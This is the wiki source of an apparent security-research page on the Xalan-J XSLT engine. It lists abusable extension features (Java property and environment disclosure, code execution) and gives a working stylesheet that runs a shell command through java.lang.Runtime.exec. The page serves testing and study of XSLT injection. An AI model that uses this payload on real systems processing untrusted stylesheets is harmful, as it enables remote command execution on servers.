Wiki source code of Engine_XalanJ
Show last authors
author | version | line-number | content |
---|---|---|---|
1 | [[Xalan-J>>http://xml.apache.org/xalan-j/||rel="__blank" title="Xalan-J Home Page"]] is a Java based XSLT engine by the Apache Project. | ||
2 | |||
3 | |||
4 | == Supported version == | ||
5 | |||
6 | 1.0 | ||
7 | |||
8 | == Command line == | ||
9 | |||
10 | $> java org.apache.xalan.xslt.Process -in foo.xml -xsl foo.xsl | ||
11 | |||
12 | __Note__ : xml-apis.jar, xercesImpl.jar and xalan*.jar must be in the $CLASSPATH | ||
13 | |||
14 | == Identification strings == | ||
15 | |||
16 | |=xsl:vendor-url|http:~/~/xml.apache.org/xalan-j | ||
17 | |=xsl:vendor|Apache Software Foundation | ||
18 | |=xsl:version|1.0 | ||
19 | |||
20 | == Special features == | ||
21 | |||
22 | * File creation | ||
23 | * Code execution | ||
24 | * JDBC connectivity | ||
25 | * Java properties disclosure | ||
26 | * Java environment disclosure | ||
27 | |||
28 | == Java properties disclosure == | ||
29 | |||
30 | The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. | ||
31 | |||
32 | |=Namespace|=Extension function|=PoC|=Sample output | ||
33 | |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] | ||
34 | |||
35 | == Java environment disclosure == | ||
36 | |||
37 | The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). | ||
38 | |||
39 | |=Namespace|=Extension function|=PoC|=Sample output | ||
40 | |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] | ||
41 | |||
42 | == Java code execution == | ||
43 | |||
44 | The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. | ||
45 | |||
46 | |||
47 | |=Namespace|=Extension function|=PoC|=Sample output | ||
48 | |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: | ||
49 | Wed Jan 11 22:45:07 CET 2012 | ||
50 | |||
51 | == Execution of external commands == | ||
52 | |||
53 | The following code will execute the command "touch /tmp/hello" : | ||
54 | |||
55 | <?xml version="1.0"?> | ||
56 | <xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" | ||
57 | xmlns:j="http:~/~/xml.apache.org/xalan/java" | ||
58 | exclude-result-prefixes="j" | ||
59 | version="1.0"> | ||
60 | <xsl:template match="/"> | ||
61 | <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> | ||
62 | <xsl:variable name="a" select="j:split($c, ' = ')"/> | ||
63 | <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> | ||
64 | <xsl:variable name="p" select="j:exec($r, $a )"/> | ||
65 | No content at the moment ... | ||
66 | </xsl:template> | ||
67 | </xsl:stylesheet> |